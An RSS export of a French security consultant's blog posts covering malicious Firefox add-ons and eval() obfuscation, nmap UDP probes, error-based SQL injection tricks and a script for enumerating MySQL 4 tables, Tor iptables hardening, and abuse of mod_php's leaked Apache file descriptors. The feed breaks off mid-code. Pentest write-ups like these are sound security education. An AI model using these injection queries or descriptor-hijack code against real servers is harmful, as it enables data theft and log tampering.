<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Pierre Noguès</title>
	
	<link>http://www.indahax.com</link>
	<description>Consultant en sécurité</description>
	<lastBuildDate>Sun, 07 Feb 2010 17:36:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/PierreNogues" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="pierrenogues" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Firefox malware discovered</title>
		<link>http://www.indahax.com/malware/firefox-malware-discovered</link>
		<comments>http://www.indahax.com/malware/firefox-malware-discovered#comments</comments>
		<pubDate>Sun, 07 Feb 2010 17:36:23 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[malware]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[obufscation]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=520</guid>
		<description><![CDATA[Il fut un temps où je m&#8217;étais posé la question de savoir s&#8217;il était possible de diffuser une extension vérolée pour Firefox ou Thunderbird sur le site addons.mozilla.org, et bien apparemment oui&#8230;

En effet, Mozilla vient d&#8217;annoncer sur son security blog que deux extensions malicieuses ont été découvertes dans la section expérimentale. Les extensions malicieuses n&#8217;affectent [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="Firefox Malware Image" src="http://www.indahax.com/images/firefox.png" title="Firefox malware" class="alignleft" />Il fut un temps où je m&#8217;étais posé la question de savoir s&#8217;il était possible de diffuser <strong>une extension vérolée pour Firefox</strong> ou Thunderbird sur le site addons.mozilla.org, et bien apparemment oui&#8230;<br />
<span id="more-520"></span><br />
En effet, Mozilla vient d&#8217;annoncer sur son <a href="http://blog.mozilla.com/security/2010/02/05/security-issues-with-two-experimental-add-ons/">security blog</a> que deux extensions malicieuses ont été découvertes dans la section expérimentale. Les extensions malicieuses n&#8217;affectent que les systèmes Windows, il s&#8217;agit probablement d&#8217;un <strong>binaire embarqué</strong> qui est exécuté par l&#8217;extension&#8230; Rien de bien révolutionnaire.</p>
<p>Il faut savoir qu&#8217;une extension malicieuse peut être entièrement faite en JavaScript et être totalement portable. Les composants XPCom apportent des fonctions au langage JavaScript qui permettent de lancer des processus, sniffer les connexions HTTPS en clair, jouer avec les sockets (Proxy, UPNP&#8230;), récupérer les mots de passe stockés, accéder au système de fichiers, tout en bypassant le firewall&#8230;</p>
<p>D&#8217;après les dires du security blog, <strong>Mozilla utilise plusieurs scanners anti-malware</strong> pour éviter ce genre de désagrément  :</p>
<blockquote><p>These were not originally detected with the anti-malware scanning tools that we have been using.</p></blockquote>
<p>Cependant, j&#8217;aimerai attirer votre attention sur un détail, JavaScript met à notre disposition de nombreuses possibilités pour obfuscer son code. Ces techniques sont couramment utiliser dans les attaques Web (iframe). Par exemple, la fonction <strong>eval()</strong> permet d&#8217;interpréter le code JavaScript passé en paramètre à cette fonction. Cela rend alors totalement useless les recherches par signature.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// var signature = &quot;something_bad();&quot;;</span>
<span style="color: #003366; font-weight: bold;">var</span> signature_crypt <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;XAQDFQDFQSDFQSDF&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span>decrypt<span style="color: #009900;">&#40;</span>signature_crypt<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Bien sûr, il est possible que les <strong>supers scanners</strong> de Mozilla gère ce type d&#8217;obfuscation, mais en attendant, ils viennent de laisser passer deux malwares, et peut-être beaucoup plus&#8230; FEAR. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/malware/firefox-malware-discovered/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Nmap, scan UDP applicatif</title>
		<link>http://www.indahax.com/pentest/nmap-udp-applicatif</link>
		<comments>http://www.indahax.com/pentest/nmap-udp-applicatif#comments</comments>
		<pubDate>Mon, 01 Feb 2010 08:01:15 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[scan de ports]]></category>
		<category><![CDATA[udp]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=510</guid>
		<description><![CDATA[Je viens de lire une chose intéressante sur le blog du SANS, nmap commence à implémenter le scan de port applicatif sur le protocole UDP. Voici un extrait du changelog de la dernière version de nmap :


o For some UDP ports, Nmap will now send a protocol-specific payload
  that is more likely to get [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://indahax.com/images/nmap-logo.png" alt="nmap" class=alignleft />Je viens de lire une chose intéressante sur le blog du SANS, nmap commence à implémenter <strong>le scan de port applicatif sur le protocole UDP</strong>. Voici un extrait du changelog de la dernière version de nmap :<br />
<span id="more-510"></span></p>
<blockquote><p>
o For some UDP ports, Nmap will now send a protocol-specific payload<br />
  that is more likely to get a response than an empty packet is. This<br />
  improves the effectiveness of probes to those ports for host<br />
  discovery, and also makes an open port more likely to be classified<br />
  open rather than open|filtered. The ports and payloads are defined<br />
  in payload.cc. The ports that have a payload are 7 (echo),<br />
  53 (domain), 111 (rpcbind), 123 (ntp), 137 (netbios-ns), 161 (snmp),<br />
  177 (xdmcp), 500 (isakmp), 520 (route), 1645 and 1812 (radius),<br />
  2049 (nfs), 5353 (zeroconf), and 10080 (amanda). [David]
</p></blockquote>
<p>Par scan applicatif j&#8217;entends que nmap va envoyer des paquets contenants des données spécifiques au protocole du port concerné. Par exemple pour le port 53, nmap va envoyer une requête DNS et vérifier qu&#8217;il reçoit bien une réponse DNS afin de déterminer si le service est <strong>open</strong>. </p>
<p>Voici un petit extrait du nouveau fichier payload.cc qui contient les nouvelles requêtes :</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
  These payloads are sent with every host discovery or port scan probe. Only
  include payloads that are unlikely to crash services, trip IDS alerts, or
  change state on the server.
&nbsp;
  Some of them are taken from nmap-service-probes.
*/</span>
&nbsp;
<span style="color: #993333;">static</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> payload_GenericLines<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x0D</span><span style="color: #660099; font-weight: bold;">\x0A</span><span style="color: #660099; font-weight: bold;">\x0D</span><span style="color: #660099; font-weight: bold;">\x0A</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">static</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> payload_DNSStatusRequest<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x10</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">static</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> payload_RPCCheck<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\xFE</span><span style="color: #660099; font-weight: bold;">\x1D</span><span style="color: #660099; font-weight: bold;">\x13</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x86</span><span style="color: #660099; font-weight: bold;">\xA0</span>&quot;</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x97</span><span style="color: #660099; font-weight: bold;">\x7C</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>C&#8217;est une très bonne nouvelle, le scan de port UDP sera dorénavant beaucoup plus fiable et ne reposera plus uniquement sur <strong>l&#8217;absence de réponse ICMP pour déterminer si un port UDP est open</strong> (du moins pour les ports cités dans le changelog).</p>
<p>Exemple sur un serveur qui ne renvoie jamais les paquets ICMP:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">pierre@linux:/pentest/scanning$ sudo nmap -sU -sS -pT:22,80,U:53,111 94.23.57.7
&nbsp;
Starting Nmap 5.21 ( http://nmap.org ) at 2010-02-01 08:47 CET
Nmap scan report for ks301922.kimsufi.com (94.23.57.7)
Host is up (0.030s latency).
PORT    STATE         SERVICE
22/tcp  open          ssh
80/tcp  open          http
53/udp  open          domain
111/udp open|filtered rpcbind
&nbsp;
Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/nmap-udp-applicatif/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enumération des tables sous Mysql 4</title>
		<link>http://www.indahax.com/pentest/enumeration-tables-columns-mysql-4</link>
		<comments>http://www.indahax.com/pentest/enumeration-tables-columns-mysql-4#comments</comments>
		<pubDate>Wed, 30 Dec 2009 18:32:33 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[colonne]]></category>
		<category><![CDATA[enumeration]]></category>
		<category><![CDATA[injection sql]]></category>
		<category><![CDATA[mysql 4]]></category>
		<category><![CDATA[table]]></category>
		<category><![CDATA[wordlist]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=493</guid>
		<description><![CDATA[ Un petit post pour donner quelques tips et un petit script PERL pour lister les noms des colonnes et des tables lorsque l&#8217;on fait une injection SQL avec une base de données Mysql 4. Ha oui, c&#8217;est tout de suite plus difficile sans information_schema !

Le premier tips c&#8217;est en utilisant la fonction PROCEDURE ANALYSE(). [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="Mysql Image" src="http://www.indahax.com/images/mysql-logo.png" title="Injection SQL" class="alignleft" width="200" height="103" /> Un petit post pour donner quelques tips et un petit script PERL pour lister les noms des colonnes et des tables lorsque l&#8217;on fait une <strong>injection SQL</strong> avec une base de données <strong>Mysql 4</strong>. Ha oui, c&#8217;est tout de suite plus difficile sans <strong>information_schema</strong> !<br/><br />
<span id="more-493"></span><br />
Le premier tips c&#8217;est en utilisant la fonction <a href="http://dev.mysql.com/doc/refman/5.0/fr/procedure-analyse.html">PROCEDURE ANALYSE()</a>. Look :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mysql&gt; SELECT * FROM client WHERE idClient =1 PROCEDURE ANALYSE();
&nbsp;
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| Field_name              | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std    | Optimal_fieldtype     |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| clientz.client.idClient | 1         | 1         |          1 |          1 |                0 |     0 | 1.0000                  | 0.0000 | ENUM('1') NOT NULL    | 
| clientz.client.name     | toto      | toto      |          4 |          4 |                0 |     0 | 4.0000                  | NULL   | ENUM('toto') NOT NULL | 
| clientz.client.pass     | 123       | 123       |          3 |          3 |                0 |     0 | 3.0000                  | NULL   | ENUM('123') NOT NULL  | 
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
3 rows in set (0.00 sec)</pre></div></div>

<p>Youpi, la requête nous liste les noms des colonnes, la table et la base de données <strong>concernées par la requête</strong> ! Malheureusement il y a un petit problème, le titre des colonnes du résultat est changé : <code>Field_name | Min_value | Max_value | ...</code> au lieu de <code>idClient | name | pass</code>. Concrètement, cela veut dire qu&#8217;on pourra profiter de ce petit truc uniquement si le codeur référence ces colonnes par index et pas par nom de table (<em> $row[0] et pas $row["idClient"]</em> ), ce qui est plutôt rare&#8230;</p>
<p>Un autre truc (<strong>corrigé sur Mysql 5.1</strong>) que j&#8217;ai découvert sur le forum de sla.ckers (ou ailleurs), lorsque l&#8217;on a découvert le nom de la table on peut tester un truc dans le genre :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mysql&gt; SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client LIMIT 1) = (1);
&nbsp;
ERROR 1241 (21000): Operand should contain 3 column(s)</pre></div></div>

<p>Youpi car ça nous retourne le nombre de colonnes, mais c&#8217;est maintenant que ça devient intéressant, toujours à l&#8217;aide des messages d&#8217;erreurs on va pouvoir lister le nom de chacune d&#8217;entre elles :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mysql&gt; SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client UNION SELECT 1%0,2,3 LIMIT 1) = (1,2,3);
&nbsp;
&quot;Column 'idClient' cannot be null&quot;</pre></div></div>

<p>Super Youpi alors, mais en faite, ça ne marchera que si la colonne en question dispose de l&#8217;attribut <strong>NOT NULL</strong> <img src='http://www.indahax.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Bon allez, j&#8217;arrête de donner des petits trucs foireux, passons aux choses sérieuses avec <a href="http://indahax.com/downloads/mysql4-enumeration.pl">ce script</a> maison en PERL qui cherche les noms des tables à partir d&#8217;une wordlist :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -t -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
&nbsp;
[*] Table found : client
&nbsp;
pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -c=client -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
&nbsp;
[*] Column found : name
[*] Column found : pass</pre></div></div>

<p>Je me suis pas pris la tete pour dev le script, il faut bidouiller le code pour personnaliser l&#8217;attaque en fonction l&#8217;injection&#8230; J&#8217;espère que vous comprendrez, sinon tant pis <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Bien sûr il vous faut une wordlist pour exécuter ce script (on laisse ce plaisant exercice au lecteur).</p>
<p>Passez de joyeuses fêtes !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/enumeration-tables-columns-mysql-4/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sécuriser Tor avec iptables</title>
		<link>http://www.indahax.com/pentest/secure-tor</link>
		<comments>http://www.indahax.com/pentest/secure-tor#comments</comments>
		<pubDate>Fri, 18 Dec 2009 12:28:57 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=474</guid>
		<description><![CDATA[
Voici une petite astuce pour être sûr de n&#8217;avoir aucune fuite en utilisant le proxy Tor.

Vous connaissez surement l&#8217;indispensable extension torbutton qui permet de bloquer tous les plugins (Java, Flash, &#8230;) susceptibles de leaker votre adresse IP, que je vous recommande d&#8217;ailleurs d&#8217;utiliser dans un profile Firefox différent avec le minimum vital niveau extension. 
Cependant, [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/images/tor.png" class="alignleft" /><br />
Voici une petite astuce pour être sûr de n&#8217;avoir aucune fuite en utilisant le <strong>proxy Tor</strong>.<br />
<span id="more-474"></span><br />
Vous connaissez surement l&#8217;indispensable extension <a href="https://addons.mozilla.org/fr/firefox/addon/2275">torbutton</a> qui permet de bloquer tous les plugins (Java, Flash, &#8230;) susceptibles de leaker votre adresse IP, que je vous recommande d&#8217;ailleurs d&#8217;utiliser dans un profile Firefox différent avec le minimum vital niveau extension. </p>
<p>Cependant, il reste un problème : Torbutton ne gère que les connexions liées à Firefox, pour les autres applications, comment s&#8217;assurer qu&#8217;elles utilisent uniquement le proxy tor ? Une très bonne solution consiste à gérer le problème à la racine, c&#8217;est à dire en <strong>autorisant uniquement les connexions du processus tor via un firewall</strong>. Voici comment faire avec iptables.</p>
<p>Tout d&#8217;abord, il est nécessaire de créer un utilisateur pour tor et d&#8217;exécuter le processus avec celui-ci. Vous pouvez lancer tor directement avec l&#8217;utilisateur en question ou bien lancer tor avec les droits root et entrer la ligne suivante dans le fichier de configuration <strong>torrc</strong> :</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">User tor</pre></div></div>

<p>Ensuite il nous reste à configurer iptables :</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># Vide les règles déjà présentes</span>
iptables <span style="color: #660033;">-F</span> INPUT
iptables <span style="color: #660033;">-F</span> OUTPUT
&nbsp;
<span style="color: #666666; font-style: italic;"># Bloque tout par défaut</span>
iptables <span style="color: #660033;">-P</span> INPUT DROP
iptables <span style="color: #660033;">-P</span> OUTPUT DROP
&nbsp;
<span style="color: #666666; font-style: italic;"># Autorise toutes les connexions locales</span>
iptables <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-o</span> lo <span style="color: #660033;">-j</span> ACCEPT
iptables <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> lo <span style="color: #660033;">-j</span> ACCEPT
&nbsp;
<span style="color: #666666; font-style: italic;"># Autorise uniquement les processus de l'utilisateur tor à établir des connexions</span>
iptables <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-m</span> owner <span style="color: #660033;">--uid-owner</span> tor <span style="color: #660033;">-j</span> ACCEPT
&nbsp;
<span style="color: #666666; font-style: italic;"># Accepte uniquement les connexions que l'on a initiées</span>
iptables <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> ESTABLISHED,RELATED <span style="color: #660033;">-j</span> ACCEPT
&nbsp;
<span style="color: #666666; font-style: italic;"># Sauvegarde le tout </span>
iptables-save <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>iptables<span style="color: #000000; font-weight: bold;">/</span>tor</pre></div></div>

<p>Et voilà, lors de l&#8217;utilisation de Tor on pourra mettre en place ces règles iptables afin d&#8217;être sur de communiquer uniquement via ce réseau.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">iptables-restore <span style="color: #000000; font-weight: bold;">&lt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>iptables<span style="color: #000000; font-weight: bold;">/</span>tor</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/secure-tor/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Détourner Apache via PHP</title>
		<link>http://www.indahax.com/pentest/apache-php-file-descriptor</link>
		<comments>http://www.indahax.com/pentest/apache-php-file-descriptor#comments</comments>
		<pubDate>Mon, 07 Dec 2009 15:51:49 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Apache hijacking]]></category>
		<category><![CDATA[descripteurs de fichier]]></category>
		<category><![CDATA[file descriptor]]></category>
		<category><![CDATA[mod_php]]></category>
		<category><![CDATA[Pentest Apache]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=454</guid>
		<description><![CDATA[Hello, il y a peu, je me suis rendu compte que l&#8217;on pouvait écrire dans les logs Apache à partir d&#8217;un simple script PHP exécuté avec les droits apache, même si les logs sont en chmod 600 root. Pire, il est possible à partir d&#8217;un simple script php d&#8217;écouter sur le port 80 et de [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.indahax.com/wp-content/uploads/2009/12/apache.gif" alt="apache mod_php file descriptor leak" title="apache" width="165" height="124" class="alignleft" />Hello, il y a peu, je me suis rendu compte que l&#8217;on pouvait écrire dans les logs Apache à partir d&#8217;un simple script PHP exécuté avec <strong>les droits apache</strong>, même si les logs sont en <strong>chmod 600 root</strong>. Pire, il est possible à partir d&#8217;un simple script php <strong>d&#8217;écouter sur le port 80 et de détourner toutes les requêtes</strong> faites vers le serveur web&#8230; Le comble c&#8217;est que cette faille est connue depuis que le mod_php existe sur Apache !<span id="more-454"></span></p>
<p>Le <strong>mod_php</strong> ne ferme pas les descripteurs de fichiers dont il a hérité avant d&#8217;exécuter du code PHP, on se retrouve donc avec un certain de nombre de descripteurs très intéressants, par exemple lorsque l&#8217;on exécute le code suivant :</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
    <span style="color: #b1b100;">print</span> <span style="color: #990000;">posix_getpid</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">flush</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">30</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Et que l&#8217;on regarde ensuite tous les descripteurs de fichier ouvert via /proc/ ou lsof :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@linux:~# l /proc/10927/fd
total 0
lr-x------ 1 root root 64 2009-12-07 12:34 0 -&gt; /dev/null
l-wx------ 1 root root 64 2009-12-07 12:34 1 -&gt; /dev/null
lrwx------ 1 root root 64 2009-12-07 12:34 10 -&gt; anon_inode:[eventpoll]
lrwx------ 1 root root 64 2009-12-07 12:34 11 -&gt; socket:[244519]
l-wx------ 1 root root 64 2009-12-07 12:34 2 -&gt; /var/log/apache2/all.log
lrwx------ 1 root root 64 2009-12-07 12:34 3 -&gt; socket:[7137]
lrwx------ 1 root root 64 2009-12-07 12:34 4 -&gt; socket:[7138]
lr-x------ 1 root root 64 2009-12-07 12:34 5 -&gt; pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 6 -&gt; pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 7 -&gt; /var/log/apache2/error.log
l-wx------ 1 root root 64 2009-12-07 12:34 8 -&gt; /var/log/apache2/all.log
l-wx------ 1 root root 64 2009-12-07 12:34 9 -&gt; /var/log/apache2/access.log
&nbsp;
root@linux:~# lsof | grep 10927 | grep -v mem
apache2   10927   www-data  cwd       DIR               8,21     4096          2 /
apache2   10927   www-data  rtd       DIR               8,21     4096          2 /
apache2   10927   www-data  txt       REG               8,21   435528    6963211 /usr/sbin/apache2
apache2   10927   www-data  DEL       REG                0,9                7360 /dev/zero
apache2   10927   www-data    0r      CHR                1,3                3248 /dev/null
apache2   10927   www-data    1w      CHR                1,3                3248 /dev/null
apache2   10927   www-data    2w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    3u     sock                0,4                7137 can't identify protocol
apache2   10927   www-data    4u     IPv6               7138                 TCP *:www (LISTEN)
apache2   10927   www-data    5r     FIFO                0,6                7187 pipe
apache2   10927   www-data    6w     FIFO                0,6                7187 pipe
apache2   10927   www-data    7w      REG               8,21      200    6553939 /var/log/apache2/error.log
apache2   10927   www-data    8w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    9w      REG               8,21    14338    6553937 /var/log/apache2/access.log
apache2   10927   www-data   10u     0000                0,7        0         32 anon_inode</pre></div></div>

<p>On peut voir que le processus en cours, qui n&#8217;est rien d&#8217;autre qu&#8217;un simple script php exécuté avec les droits d&#8217;Apache, possède des descripteurs de fichiers des logs Apache <strong>ouverts en écriture</strong>, un descripteur sur le <strong>socket en écoute sur le port 80</strong>&#8230; </p>
<p>Il est difficile de les manipuler directement via PHP, ce langage ne possède pas de fonctions assez bas niveau pour jouer avec des descripteurs de fichier. Cependant, PHP <strong>autorise par défaut</strong> des fonctions permettant d&#8217;exécuter un fichier binaire ( la fonction <strong>system()</strong> par exemple) <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Le code suivant permet d&#8217;écrire n&#8217;importe quoi dans tous les logs Apache :</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span> argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">int</span> fd<span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span> flag<span style="color: #339933;">,</span>accmode<span style="color: #339933;">,</span>val<span style="color: #339933;">;</span>
    <span style="color: #993333;">struct</span> stat fileinfo<span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> buffer<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;AAAAA&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span> count<span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> fd<span style="color: #339933;">&lt;</span>getdtablesize<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> fd<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        memset<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>fileinfo<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>fileinfo<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>fstat<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>fileinfo<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
